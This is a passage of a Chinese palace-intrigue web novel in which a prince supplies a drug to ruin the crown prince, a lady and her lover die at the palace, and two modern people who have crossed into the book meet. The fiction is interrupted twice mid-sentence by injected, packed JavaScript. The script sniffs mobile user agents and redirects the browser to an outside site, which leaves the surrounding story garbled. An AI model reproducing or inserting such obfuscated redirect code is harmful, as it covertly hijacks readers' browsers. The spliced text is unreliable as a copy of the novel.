“本来是来找我皇兄的,但他不在显德殿。听玉奴说,我皇兄很喜欢你啊?我实在有些好奇,能让我皇兄倾心至此,甚至留在身边亲自照料的是何等人物,所以顺道过来看看……” “如今一见,确实是位极出挑的美人。” 他忽地笑了,上前一步,微微踮着足尖,抬起萧鸿雪的下颔,轻轻呢喃。 “鸿雪哥哥,你就是用这张脸勾引的我皇兄吗?” 萧幼安笑容纯真,语调漫不经心,所讲的内容却很是直白露骨,萧鸿雪一怔,脸色倏地冷了下来。 “既然和我皇兄都可以,那和我也可以试试吧?朱鹀自幼习武,体质比他更好,鸿雪哥哥想不想……” 萧幼安在萧鸿雪耳边暧昧地呵气,探手去摸他的脸颊—— “啪”的一声,萧鸿雪将他的手掌拍开了。 萧鸿雪面无表情地看着萧幼安,心想睿宗这几个儿女是不是都有病? 太子是个变态断袖,和他臭味相投的玉奴公主是个娇蛮跋扈的泼皮丫头,现在来了个四皇子,看着人模人样的,怎么也是这副德行? “殿下既然清楚,我是你皇兄的‘人’,举止还如此狎昵不敬么?”萧鸿雪讥讽地笑了。 “萧成亭?他算什么东西。”萧幼安闻言,不屑地嗤笑了一声。 萧幼安轻轻揉着自己手背上的红痕,方才他手被萧鸿雪重重拍开,倒也不生气,收敛了那副轻佻的模样,笑意盈盈道:“开个玩笑,鸿雪哥哥别生气嘛。” “鸿雪哥哥,朱鹀打听过你,我知道,你不是自愿委身于我皇兄的,依我皇兄的行事作风,定是对你百般强迫哄骗,将你硬留在身边的吧?” “宫人们说,鸿雪哥哥除了生得一副天人之貌,还兼资文武,剑法如神,终日手不释卷。和往日那些围在皇兄身边的莺莺燕燕,简直有云泥之别啊。” “像鸿雪哥哥这样的人物,若是做了被囚于深宫的脔宠,终日雌伏在我皇兄身下,无法实现自己的志向和抱负,就太可惜了。” “鸿雪哥哥好歹也是昭王叔的儿子,皇族后裔,可皇兄他仗着自己是储君,这样欺你,轻辱你。” “鸿雪哥哥,你想不想……” 萧幼安靠近萧鸿雪耳畔,轻语道: “报复他,让他付出代价,将你所受之辱百倍偿还?” “朱鹀可以帮你。” 萧幼安指尖挑起萧鸿雪鬓边的一缕发丝,将它拢到萧鸿雪耳后。 萧鸿雪反手攥住萧幼安的一只手腕,将他摁在门边,冷冷道:“你最好,别乱碰我。” “鸿雪哥哥,我疼。” 萧幼安眨了眨眼,用另一只手指了指自己手腕上被攥出的红痕。 萧鸿雪依旧没有松手,轻咳一声,冷笑道:“帮、我?” “是想利用我对付萧成亭吧。” “殿下的皇兄对您百般疼爱,您却在背地里联合外人一起算计他,皇室的‘手足之情’还真是让我……毛骨悚然啊。” 萧幼安闻言微微一笑,道: “鸿雪哥哥也知道,我们是皇家的兄弟,和寻常人家友恭的兄弟不同,皇家从没有骨肉亲情可言,只有君臣尊卑。手足之间,向来不是你死,就是我亡。” “就连我父皇,都是亲手毒死了他的太子弟弟,硬抢来的皇位呢。” 萧幼安眯起眼,勾了勾唇角,漫不经心地讲出一桩皇室秘辛。 “哥哥可以戮弟弟,那么弟弟自然也可以弑哥哥了,不是吗?想要而得不到的东西,就该自己动手去抢过来,这是父皇亲自言传身教的啊……” 萧幼安语气淡漠。 “冠冕堂皇的话我就不说了,我们有一个共同的敌人,帮你,也就是帮我,我们各取所需罢了。” “你想摆脱萧成亭的纠缠,而我……想要他头上那顶太子冕旒。” “萧成亭那种胸无点墨、玩物丧志的草包纨绔,怎么配做一国之君,担起大燕的江山社稷?” “就因为他有个好母妃,更有个好舅舅?” “鸿雪哥哥,你知道朱鹀要把你当刀使,但你不会拒绝的,对不对?” “毕竟……你也是个男人。我想,没有一个男人会心甘情愿地做另一个男人的脔宠吧?” “……我答应你。” 萧鸿雪松开了钳住萧幼安的手。 “怎么做?” “鸿雪哥哥有魄力,我果然没有看错人。” “怪不得皇兄喜欢你,如果不是知道你和我是一样的人,连我都要爱上你了……” 萧幼安莞尔一笑,自怀中摸出了一个黑色的釉瓶,递给萧鸿雪。 “这里面盛着孔国师云游四海时采集的灵草惑心花的汁液,无色无味,入体无踪。” “服用者会丧失心志,对他第一眼看到的人产生不可遏止的欲望,就像发情的牲畜一样。” “几日后就是除夕夜宴了,宴会前你想办法让萧成亭服下。” “我父皇有个习惯,除夕夜宴后会带着亲近的臣侍去章华宫附近的黄金台散心赏月。” “届时,我会设法将已经服下惑心花汁的萧成亭骗到黄金台去,再将已怀有两月身孕的李贵人引到他身边,然后……” “呵,父皇就是再偏爱他,萧成亭这太子也绝对做不下去了。” 萧幼安勾唇一笑,脸上闪过一丝阴毒之色。 萧鸿雪眸光落在他手中的黑瓷釉瓶上,竟没由来地想起案上那几颗饴糖,眼中翻涌着复杂的情绪。 “……好。” * 钟粹宫。 绛真将银簪刺出的那一瞬间,杨惜抬手为姜兮挡下,手臂被划出一条狰狞的长血口,温热粘腻的血染红了他的祍襟。 靠,好疼啊。 杨惜本就是一个对痛觉十分敏感的人,疼得表情都扭曲了。 绛真见一簪未中,眯起眼,又将簪子高高举起,对着姜兮刺下去。 还来? 杨惜捂着仍在流血的胳臂,又要去挡簪,姜兮却突然绕到他身前,直直迎着那簪子撞了上去。 “小真,你想要我的命,其实不必如此,我给你就是了。” 姜兮已到了精神崩溃的边缘,在看见绛真举着银簪朝她冲来的那一刻,心中那根弦彻底绷断 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姜兮身形一晃,眼看要倒在杨惜怀中。 绛真瞬间疯狂,扑上前去从杨惜怀里抢过姜兮的身体。 姜兮苍白地笑了,沾着血的手指抚过绛真的眉眼,“小真……我,我好累,我好痛喔。” 她将手指挽成蝴蝶的模样,在绛真眼前舞动,她痴痴笑着,嘴中神志不清地呢喃着什么。 绛真凑近去听,发现她在说:“……蝴蝶在这里啦。” 绛真的心脏如同被凿斧重击了一下。 三年前的冬日,绛真倚窗弹奏琵琶,而姜兮趴在桌面上,手指在绸布上戳点。 “小真,你想看蝴蝶吗?” “现在是冬日,哪里有蝴蝶可看。”绛真无奈地笑了笑。 “喏,蝴蝶在这里啦。” 姜兮抬起头,对她粲然一笑。她纤长素白的手指挽成蝴蝶形状,翩翩飞起,落在绛真肩颈边。 然后,“蝴蝶”消散,姜兮的手指将绛真的脸捧起,轻轻落下一吻。 而眼前的姜兮手臂垂下,已经阖上了眼目。 绛真满手是血,两肩发颤,几根鬓丝洒下来,直刺到发红的眼睛里。 她看着姜兮被鲜血染红的裙裳,突然想起她们最后一次见面,她们二人在散着馨香的红绸床褥上玩闹时,她偷偷幻想过的她们成亲之日,交杯合卺时,姜兮身披龙裙凤褂,薄脸绯红,轻轻偎在她怀中的模样。 今朝离别后,何日君再来? 那日,因二人都知道这是最后一次,所以分外缠绵…… 绛真弯下腰,痛苦不堪地干呕、呻吟,但脸上仍然笑着,神色癫狂。 她以为,她终于赢了。这一次,她心爱的人,真的为她而死。即使还有疑云未解,但是,那都不重要了。 重要的是,原来,你对我,是真心的。 原来,我不是你生命中一段想要抹去的荒谬的事情。 “殿下,多谢你。我也很怀念这对耳珰呢,没想到还能再见到它们。” 绛真将桌案上的耳珰取下,在姜兮耳垂上戴了一枚,而另一枚,戴在了自己耳边。 她将脸扭转过去,满面泪痕,对杨惜一笑。 “其实殿下和我,是一样的人呢。” “……什么意思?” 杨惜迷茫地轻语。 绛真轻笑,靠了过来,附在他耳边说了几个字: “死而复生之人。” 杨惜正待细问,绛真已经挥起方才取耳珰时,自案上的针线篓中一道取出的剪刀,毫不犹豫地自戕了。 一切都发生得太快,杨惜还来不及反应,温热的鲜血便已溅上他的脸颊,他愣愣地跌坐在地上,耳畔传来听见屋内动静、前来察看情况的宫娥们刺耳的尖叫。 而眼前的绛真背倚着桌案,将姜兮的尸身抱在怀中,一柄冷亮的铁剪刀插在胸口。 两人如同一对亲密的,正相偎私语的恋人。 今朝离别后,来生君再来。 33.真相 “竟是如此么……” 听完杨惜讲述的事情原委后,睿宗负手而立,怆然抹面,长长地叹息了一声。 “原来是朕造的业孽。” “父皇您并不知晓其中纠葛,这或许就是既定的因缘命数,人力无法转圜,兜兜转转,还是殊途同归了。” 站在睿宗背后的杨惜也叹了口气,出声劝慰。 “朕会下旨昭告六宫,罪妇杜莺娘因妒恨姜昭仪的恩宠而行碎尸皇子、陷害柳贵卿的歹事,已畏罪自戕。年关将至,举国欢庆的日子,朕不牵连她的家人了。” “……至于姜昭仪,姜昭仪积郁已久,突染急疫而亡,追封敦肃贵妃。” “父皇英明。” 杨惜垂下眼,不知在想些什么。 “柳贵卿日前自请离宫入道观为皇家祈福修行,”睿宗顿了顿,转过头,神情复杂地看着杨惜,“朕允了。” “他离宫之前,去见过你一面,对吗,凤皇?” 杨惜闻言点了点头,思绪飘回姜兮和绛真身死那日。 他神思恍惚地自钟粹宫走出,抬头望见晴阳薄云,雪后初霁,是个难得的好天气。 他刚回到显德殿,将染了鲜血的衣物换下,正在沐浴时,突然有宫人通传说柳贵卿不顾身后监使的阻拦,站在显德殿门前,求太子殿下见他一面。 杨惜心想柳梦书定是为了姜兮的事前来,才这样急切,于是他一头湿漉漉的墨色长发还未仔细拭干,就到显德殿门前见了柳梦书。 “殿下,那日你也在钟粹宫……我求求您,告诉我,阿兮她……她到底是怎么死的?” “我去问过,钟粹宫的宫人们皆闪烁其辞,只说当日只有督办饺饵案的太子殿下一人在场。” 柳梦书几日前才从慎刑司里放出来,脸上的伤痕淤青还未好全,形销骨立,神情痴若偶人。 他见到杨惜后,一撩衣袍,跪在阶下。 杨惜叹了口气,对柳梦书身后要前来将他架起的监使摆了摆手,亲自将他搀起。 柳梦书手上满是痂疤与鞭痕,微微发颤。他死死地攥着杨惜的手,面色泫然,“殿下,我,我求求您了。” 杨惜附在他耳畔轻轻耳语了一阵。 将事情的来龙去脉了解清楚后,柳梦书松开了杨惜的手,失魂落魄地来回踱了几步,身形一晃,重重地倒在阶石上。 “原来是这样……原来是这样。”柳梦书一身素衣上俱是青苔雪渍,他抬头望着晴空,嘴中痴喃。 “即使重来一次,也是一样的,你还是愿意和她一起去死,对吗,阿兮?” 一行泪水自柳梦书的眼中缓缓滑落。 “我原以为绛真走了,我再默默陪着你,向你表白心迹,你就会回头看看我。” “可是走了一个绛真,又来了一个萧梧山。” “我以为你爱上萧梧山了,可是绛真一回来,你就毫不犹豫地为她去死了。” “原来你从头至尾爱的都是她,只有她。” “我当年……好不容易才将你救回来的,你怎么就这么犟,非要和她去呢。” 杨惜敏锐地捕捉到了柳梦书话中的关键信息,眼神一凝。 “……救?” 杨惜走到柳梦书身旁,蹙着眉,居高临下地望着他。 柳梦书抬起头和他对视,苍白一笑,用只有两人能听见的声音说: “殿下,你知道的,我从小就喜欢阿兮。” “三年前的冬至日,我派我家小厮去给阿兮送饺饵。我们自幼一起长大,她从小就爱吃我亲手做的饺饵。” “但是那日晚间,尚书府的仆役来回话说,他们小姐满腹忧思,早上送去的饺饵一口未动。我心下奇怪,想到尚书府去问个究竟。” “可门还没进去,我就看见阿兮作男儿装扮,独自一人翻墙出府。她将一沓书信埋在墙根儿,便独自骑着马去了平康里。” “我将那沓信件掘出,发现那是阿兮和一个青楼名妓之间往来的信件,原来她们早已结为爱侣……” “最上面的一封,是那个名叫绛真的妓子写给她的,只书了五个字:‘与君同死生’。” “结合之前的信件,原来,她们竟要在今夜殉情!” “我赶忙悄悄跟在阿兮身后,一路跟她跟到了曲江边。” “她站在曲江边,望着对岸华灯煌煌的醉红楼,那天的风很冷,她一个人站了很久很久。” “我听见她喃喃自语,说‘小真,你也会在今晚跳入此江吧,我们很快就能永远在一起了’。” “然后,她脱下丝履,跳进了曲江。” “我登时慌了,也紧随她身后入江,待我好不容易将她救上岸时,她早已失去了意识,郎中说,若我送来得再晚一些,就救不回来了。” “其实那晚我挣扎过,要不要也去劝止那个绛真,将她一并救起,但是……” “我当时妒火中烧,心生邪念,想着如果绛真死了,而阿兮还活着,我是不是就还有机会?” 柳梦书脸上闪过一丝阴险。 “所以,我没有去救绛真,装作什么都不知道,什么都没有发生,将阿兮背到了医馆。郎中给她喂过药后,我悄悄将她送回了尚书府,她的榻上。” “然后,我写了一封佚名书信放在姜伯父案头,说阿兮近日行踪诡异,要严加照管。” “我那时一心想着,死了不好,”柳梦书摇了摇头,“死了就真的什么都没有了。阿兮她年纪小,也许只是一时冲动,所以我硬生生将她留下了。” “那个时候,我一遍又一遍地告诉自己,我做的是对的吧?我喜欢阿兮,所以我救了她的命,我救了我喜欢的人的命,谁能来指摘我呢?” “我原以为她们殉情是因为为世俗难容,可我太天真了,”柳梦书咬牙道,“我不知晓其中的内情,原来,阿兮寻死,是为了逃避入宫。那时陛下就已经对她有意,只是还未正式下旨。” “我虽将她救起,可两月后,竟听闻她接到了入宫为妃的圣旨。” “我这才后知后觉地明白过来,我自作聪明拆散了她和绛真,却不成想,到头来,还是这样的收梢。阿兮入了宫,昔日萧郎已成陌路人。” “……后来,我追悔莫及,把一切都抛下了,追到这里,可却还是要眼睁睁地看着她和绛真一起死去。” “三年前是这样,三年后也不曾改变什么。” 柳梦书两眼通红,举袖拭泪。 “你知道……你把她们两个害得多苦吗?” “这些误会仇怨,她们到死都没能解开。” 杨惜面带愠色,语调淡漠。他用折扇挑起柳梦书的下颔,然后猛地向旁边一甩。 “我知道,殿下,我知道。” “我还是要多谢您,未将我和阿兮的事公之于众,我的性命和家门得以保全……” 柳梦书俯身,向杨惜恭谨地拜叩。 “不必谢本宫,本宫并不是为了你,”杨惜冷笑一声,“是为了姜娘娘。” 柳梦书闻言,淡淡地笑了,自顾自地说着:“其实我原想撞柱而死,随阿兮去。” “可是她们见了我……不会高兴的。” “所以……我打算去国观修行,为她们祈福,祈求她们来生安乐。等我死后,就化作一只大龟,往她们坟上,为她们驮一辈子的碑去。” “原来活着,也没那么好。” 柳梦书轻笑一声,咳嗽着站起身,一瘸一拐地走远了。 “郎骑竹马来,绕床弄青梅。同居……长干里,两小无嫌猜……”[1] 宫道上很寂静,杨惜只能听见柳梦书轻轻吟诗的声音。 隔日,杨惜去辟雍学宫上课,课后他特意去见了柳绩一面。老博士照样是一张严肃冷脸,他将杨惜先前所交的策论做了细致圈点批改,但不曾夸誉他一句。 杨惜手捧策论,微微一笑,主动和柳绩提起了柳梦书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“因为我不觉得你有这么不好啊。” 杨惜坦然地笑了笑,晃了晃手中的食盒。 “我来,给我们‘生性冷淡、脾气古怪’的阿雉庆贺生辰。” 生辰? 萧鸿雪闻言惊异地抬起头,心口莫名一颤。 除夕前一日,是他的生辰。可这个连他自己都不怎么在意的日子,萧成亭居然记在心里了? 杨惜变戏法似的从食盒中取出了寿桃、长寿面、千层酥,这种上至八十老翁下至八岁小儿都能共赏的庆生礼包套装,通用百搭到显得有些敷衍。 “尝尝。” 萧鸿雪虽然依旧满脸嫌弃,但杨惜将箸勺递给他时,他还是挺给面子地接过了,没有直接打翻。 “寿桃是我亲手捏的,面是我亲手煮的,千层酥……千层酥是我亲手买的。” 杨惜似乎也觉得这些食点看着很敷衍,特意补充道。 萧鸿雪心不在焉地小口小口品尝的时候,杨惜悄悄绕到了他身后,将一样物事戴在了他颈间。 准备趁杨惜不注意将吃食偷偷吐掉的萧鸿雪一顿,望向自己颈下。 那是一条做工精巧、闪闪发亮的银锁。 “这个,叫长命缕。据说可保佑佩戴者无灾无祸,平安长大。” “是我自己刻的,虽然比不得能工巧匠,但胜在心意,我手指握凿刀都握出薄茧了。” 杨惜笑着把自己的手伸给萧鸿雪看。 萧鸿雪听着杨惜的絮语,难得不嫌他烦。他望了一眼那条银锁,又望了一眼杨惜的手,静静地垂下眸,愣了许久,不知在想些什么。 “孩童稚子戴的东西……太子哥哥,臣弟十五岁了。”萧鸿雪用素白的手指拨了拨银锁,声音很轻,话语里竟能听出些无奈的意味。 “现在是十六岁。”杨惜不以为然,笑眯眯地纠正。 “生辰喜乐,岁岁平安。” “我的……阿雉。” 34.明月 除夕夜宴。 金玉帘箔,幡眊光影,将章华宫照耀得华彩熠熠。 满堂宾客互贺新年,觥筹交错间,琼浆飘香,鼓乐齐鸣,舞姬翩翩作舞,一派喜庆和乐的光景。 杨惜笑语盈盈地和前来向他敬酒的官员们举杯对饮,眸光却总忍不住落在一旁昭王的席位上。 昭王今夜携王妃和自己的长子萧淮流一起入宫,萧鸿雪自然同他们坐在一起。 萧鸿雪身侧坐着一个温润如玉,眉宇之间隐有些忧郁之色的青年。 他素衣病容,连声咳嗽,萧鸿雪则一脸担忧地轻抚着他的背。 杨惜从未在萧鸿雪脸上见到过这样真切的担忧神情,怔了怔,很轻易就猜出这青年乃是萧鸿雪的大哥萧淮流。 这萧淮流在原著中是萧鸿雪心中白月光级别的存在,待萧鸿雪很是亲善温柔。 每次萧鸿雪被魏书萱罚跪或罚了鞭子,萧淮流都会亲自去给萧鸿雪上药劝慰,可以说,萧淮流是萧鸿雪这个于泥沼苦渊之中挣扎之人所见的第一束,也是唯一一束光。 尽管萧淮流性格柔懦,无法劝止自己母亲苛待萧鸿雪,但他也总是尽己所能关爱弟弟,为他送去最好的衣物和吃食。 也正是在萧淮流的照顾和庇护下,爹不疼娘不爱的萧鸿雪才得以全须全尾地长大了。 魏后之乱被尚书左仆射谢韫平定后,作为太后施政傀儡的萧淮流自缢早逝,是萧鸿雪此生最大的遗憾之一。 兄弟二人之间的感情自是非常深厚,在萧鸿雪这位温柔儒雅的正牌兄长萧淮流的光芒之下,杨惜觉得自己简直抬不起头。 萧淮流的形象有多正面,自己的形象就有多惨不忍睹。 看着一旁萧淮流和萧鸿雪有说有笑,不知怎的,他觉得这画面有些刺眼,感到一阵莫名的烦闷,用箸筷拨了拨陈列在面前的珍馐,没什么胃口。 虽然自己费尽心思在萧鸿雪生日当天给他准备了惊喜,想借此机会刷波大的好感度,但感觉萧鸿雪的反应还是淡淡的。 苍天呐,我从来没干过坏事啊,为什么不能让我直接魂穿成男主他白月光大哥爽一爽呢? 杨惜正走神时,眼前忽地投下一片阴影。他抬头望去,发现来者是位面覆纱绡的女子——随官员入宫赴宴的女眷皆要戴幕篱或纱绡以遮面容。 “太子殿下,”她朝杨惜福了福身,柔声道:“可否与妾身借一步说话?” “……夫人是?” 杨惜感到疑惑,这声音听着倒是有些耳熟。 那女子微微一笑,道:“昭王妃。” 杨惜瞬间敛了笑意,打量了她一阵,心想难道她是因为自己当众驳了她的面子,还把萧鸿雪带进宫照顾了一段时日,故意来找茬的? “可以。” 杨惜眯起眼,起身跟在她身后,打算看看她想做什么。 坐在杨惜不远处的萧幼安若有所思地望着这两人离去的背影,转头与萧鸿雪对视了一眼。 萧鸿雪朝他微微颔首,垂眸摩挲着自己袖间那个黑釉瓷瓶。 一晌后,他似乎是终于下定了决心般,不动声色地把自己案上的酒盏取下,将瓷瓶中的惑心花汁液悉数混掺入其中。 * 章华宫外。 “婶母有什么话,不妨直说。虽然本宫觉得自己和婶母之间,其实没什么好说的。” 杨惜抱臂,冷冷挑眉道。 魏书萱取下覆面的纱绡,往杨惜身前走了一步,试探性地轻声唱了一句:“Do you wanna build a snowman?” 杨惜:? 我听错了吧,一定是听错了吧,是不是最近太累出现幻觉了? 魏书萱注意到杨惜表情明显变化,神情激动地握住他的手,道:“兄弟啊,家人啊,呜呜呜,我终于找到你了。” “你也是穿书的,对不对?” 杨惜愣了愣,随后也激动地看向她,“你也是?” “什么时候穿过来的?我半个月之前还和这个魏书萱见过面呢,应该就是这几天吧?” 魏书萱点点头,道:“就昨天。” “兄弟你……你摸的这身份牌怎么比我的还烂?” 杨惜看了她一眼,没忍住,笑了一声。 “sb《燕武本纪》,毁我们青春!如果还能回去,我一定要把作者掐死。好好的大男主权谋文,写什么断袖太子给男主下药的癫剧情啊,靠,我舔萧鸿雪都快把自己舔成男同了!” 杨惜握着魏书萱的手,激动地诉苦。 魏书萱尴尬地笑了笑,“那个,《燕武本纪》就是我写的。” 杨惜:? 他震愕了许久,反应过来自己现在紧握着的是双姑娘的手,红着脸把手松开了。 杨惜深吸一口气,问道:“你……你是‘当时明月在’?” “对。” “老月你居然穿成了女炮灰,还是人妻,很难适应这个身份吧?” 杨惜抱臂挑了挑眉,喊起了小说评论区书友们对作者的称呼,有些幸灾乐祸。 “不啊。” “我本来就是女孩子。” 杨惜又一次沉默了:? “男频文《燕武本纪》的作者当时明月在是个妹……妹子?” 杨惜当场变脸,一改方才说要好好教训原作者的愤激态度,难以置信地咽了咽口水,将本来打算朝作者明月挥去的拳头轻轻放下了。 明月笑了,道:“这不是很好猜吗,我如果是个男作者,萧鸿雪就该是个左拥右抱妻妾成群的双开门肌肉男龙傲天了。” “我喜欢高贵冷艳的美丽阴湿男。” “哈哈,你的审美很不错,我们俩也是伯牙遇子期了,但你知不知道,”杨惜眼神幽怨,“你儿子萧鸿雪这个高贵冷艳的美丽阴湿男马上就要把我折成毛毛虫了?” “我像个恋弟癖死男同一样舔他,但他就是油盐不进啊油盐不进。” 明月闻言,不好意思地挠了挠头,道:“那我觉得你俩还挺好磕的。” “滚!” “你是说他把我打残了在地上咕涌很好磕?” 杨惜怒了,瞪了明月一眼。 “……那我呢!我一穿过来,就对着昭王那张长得跟我爸似的叔脸,差点吓晕过去,我不要和臭老头在一起,我要年轻小帅哥,我要和他离婚!” “兄弟,虽然你穿成萧成亭是很倒霉,但你好歹还有命活吧?你看看我,魏书萱和萧鸿雪有杀母之仇呢,那可是货真价实的挫骨扬灰啊!” “我不要被萧鸿雪挫骨扬灰啊,不要啊……抽他虐他的是魏书萱又不是我!” 明月的表情也有些扭曲了。 自己的不幸固然痛苦,同伴的不幸更令人高兴。 杨惜很快就调整好了心情,拍了拍明月的肩。 “对了,明月,你是怎么知道我是穿书者的?” “其实不确定,但也很好猜,谁舔小萧鸿雪舔得最疯狂肯定是穿书的。” 好,好有道理。 “太子兄,你在小说网站的id是‘萧鸿雪我主人’吗?” 明月的眼神中充满了期盼。 “我靠,你别直接大声喊出来啊,好羞耻……” 杨惜环顾四周,确认四下无人后才放松下来。 “对,但你还是叫我杨惜吧。” 得到肯定回答后,明月顿时笑逐颜开,道:“太好了,兄弟,真的是你。几万读者里我最喜欢的就是你了,写啥你都能品出来,还给我写了好多又臭又长……不对,又真情又长的评论。” “我们为什么会穿进来?” “这个嘛,”明月搓了搓手,嘿嘿一笑,“我发了个每天日万做不到就穿书成炮灰的毒誓……结果不小心应验了。” “系统说我把主角和配角都虐得死去活来体无完肤,他们对我怨气冲天,要我也来好好感受一下他们的痛苦。” “那我为什么也跟着穿进来了?” “系统说它是修文系统,让我体验炮灰命运不是主要任务,主要是我后面剧情写得乱七八糟,挖坑不填,bug很多,它让我进入小说世界实地体验一下,好好想想该怎么改。” “但是当局者迷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861771|158769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘛,系统说要给我配个读者当参谋,选了一个真爱值最高的。我一猜肯定就是你了,我们俩可是书友们公认的伯牙子期,不要小看我们之间的羁绊啊!” 杨惜:“……” “哦。” “对了,明月,你刚才说系统?系统在你这儿?” “对。” “有什么金手指外挂之类的吗?” “很遗憾,没有。但系统看我分到的身份实在太可怜,怕我太早下线,给了我这个。” 明月取出了两个白色的小瓷瓶。 “这是什么?” “老鼠药。立竿见影,品质保证,老鼠不死我死。你一粒我一粒,吃完全部躺板板。” 杨惜:? “哈哈,开玩笑的。你看过《罗密欧与朱丽叶》吗?这个和里面那个假死药有点像,不过这个更高级,可以重塑肉身,直接在这个世界创建一个新角色。用来死遁很方便,所以我叫它死遁丹。” “相逢即是缘,何况你还是因为我被拉进来的,我实在愧疚,分你一颗。” 明月将其中一个小瓷瓶递给了杨惜。 “太好了,重塑肉身,可以用来自由捏脸是吗?还我妈生一米八,还我双开门肌肉身材。” 杨惜接过瓷瓶,揣在怀间。 “呃,系统说为了防止世界秩序出bug,我们要等现在扮演的角色合理下线后才能使用。而且,吃了这个我们只会变成在现世的模样。” “哦……” “对了,惜啊,你真的是我儿子梦男吗?太有品了。” “可能有点冒昧,但你俩……谁上谁下啊?”明月暧昧地眨了眨眼,笑得促狭。 杨惜:…… “加油,儿媳妇,婆婆会永远支持你的。等你俩喜结连理三年抱俩了,你再替我美言几句,说不定我也不用被他挫骨扬灰了。” “来自异世的梦男救赎文学,凭一己之力快把我的无cp文变成bl文……儿媳妇,你是这个。” 明月竖起了大拇指。 “滚。都是为了生活。我之前对他是纯欣赏,现在是纯害怕。” “什么儿媳妇,别抬举我了,我给他当舔狗他都不乐意呢。” 杨惜的脸莫名有些发烫。 “我天天在他面前开屏,他根本叼都不叼我啊?” “明月,快用你这颗写了四千多章权谋文的脑子救救我,我该怎么办。” “儿媳妇,不是婆婆不愿意帮你。” 明月停顿了一下,有些犹豫,看了杨惜许久,还是决定开口: “其实这本书……是我的梦,我从小就会断断续续地梦到这个世界的一些零碎片段,我是把它们记录下来,半猜半想地写成连贯的文章的。” “我其实不太确定这里是经我二改后写出的小说,还是……就是那个世界本身。” “而且就算是前者,我写到后期就直接吃书,忘记了前面的很多设定和伏笔剧情,挖的坑连自己都填不回来了……” 原来是这样。 杨惜突然想起宁国侯府尸疫爆发的时间与小说中的出入,恍然大悟。 或许这里根本就不是小说世界,而是她的梦中世界,或者说脑洞世界本身。 “我们现在只能走一步看一步了,你不是在舔萧鸿雪吗,把他的一条腿分给我抱吧。”明月接着说道。 “那完蛋了。” 杨惜两眼一黑,转身就走。 “诶,”明月拉住了他的袖子,“你干嘛去?” “没救了,等死了,提前给自己打一把黄金轮椅先。” “儿媳妇你不要这么悲观嘛!我们不是还有死遁丹吗,再熬一熬,熬到可以合理下线的剧情点,我们俩就可以深藏功与名,逍遥快活去了!” 杨惜闻言转过身,看了明月一眼。 “好吧。” “我们出来太久了,再不回去会惹人怀疑的,日后再从长计议吧。至少现在不是独自战斗了,”杨惜拍了拍明月的肩,“好战友。” “好儿媳。” 明月也笑吟吟地拍了回去。 35.惑心(一) 二人返回殿内时,为了不引人怀疑,杨惜刻意等明月入殿一段时间后才进去。 杨惜刚回座,病容憔悴的萧淮流一手掩唇咳嗽,一手端着酒盏,向杨惜走来。 “见过太子殿下。” 杨惜诧异地看着萧淮流,不知道他要干什么,没有答话,微微点头,挑眉示意他接着说。 “母亲笞打雪儿那日,我病得人事不省,还好有殿下相救,否则后果不堪设想。这些时日雪儿对殿下多有叨扰,多谢殿下。” ……雪儿? 叫得还挺亲热啊。 杨惜闻言,淡淡地扫了萧淮流一眼。 “不必。” “这是本宫自己想做的事情,何需你来谢?” 萧淮流轻咳一声,微笑回复道: “若非殿下,雪儿恐怕还要受剜肉之痛,是臣这个做兄长的无能,”他叹了口气,“还是要多谢殿下出手相救,且对雪儿悉心照料,臣敬殿下一杯……” 萧淮流正要将手中的酒饮下,一双冷白纤瘦的手忽地伸了过来,按止了他的动作。 萧鸿雪也端着一只酒盏,站在萧淮流身后。 “兄长,你身体不好,不宜饮酒,”萧鸿雪笑语温柔,脸上是杨惜从未见过的温暖柔软的神情,“弟弟代你,敬太子哥哥一杯。” 萧鸿雪话语间眸光仅仅只落在萧淮流一人身上,似乎他们面前的杨惜只是一个无关紧要的人。 杨惜顿时捏紧了手边的玉杯,一会儿后又松开,指尖拨了拨玉杯的边沿,轻轻一笑,“……好啊,雪儿。” “太子哥哥请。” 萧鸿雪将自己手中的酒盏轻轻放在杨惜面前,然后接过萧淮流手中的酒盏,一饮而尽。 杨惜静静地看着萧鸿雪仰头喝酒时露出的漂亮白皙的喉结,举起萧鸿雪放在他面前的酒盏,朝萧鸿雪遥遥一敬。 杨惜垂眸望着手中的酒盏,犹豫片刻后,也饮了下去。 众目睽睽之下,萧鸿雪就是想毒死我,也不会用这么明显的伎俩吧?杨惜心想。 一番推杯换盏后,萧鸿雪兄弟二人正准备离开,杨惜忽地笑了一声。 “慢着。” “雪儿,你兄长的,你替他喝了,那……你的呢?” 杨惜又用自己的玉杯给萧鸿雪斟上了一杯酒,递了过去。 萧鸿雪微微蹙眉,但没说什么,正准备接过杨惜递来的玉杯一饮而尽,却被萧淮流抢先一步接过。 “殿下,雪儿伤病未愈,亦不能多饮……还是臣来吧。臣兄弟二人,一人敬殿下一杯,也算礼数周全。” “伤病未愈?”杨惜冷笑了一声,语调散漫,甚至有些阴阳怪气,“呀……我还以为我们雪儿有不喝药就能痊愈的本事呢。” “原来没有吗?” 杨惜笑眯眯地和萧鸿雪对视了一眼,明显还在介怀萧鸿雪之前偷偷将药倒掉的事。 很快,杨惜挪开了视线。 “弟弟心疼哥哥,哥哥又心疼弟弟,真是兄弟情深,羡煞本宫了。”杨惜拊掌一笑,拿走了萧淮流手中的玉杯。 “不为难你们了,本宫自己喝。” 杨惜先前和官员们应酬时就已经喝了不少,现在已有了些醺然醉意,所谓酒壮怂人胆,即使是和萧鸿雪说话,他也毫不畏怯。 他面染薄绯,下颔枕着自己的胳臂,一头青丝垂落在桌案上,懒散地晃了晃手中的玉杯。 “雪儿,来,用你手中的空酒盏和本宫碰一碰。” 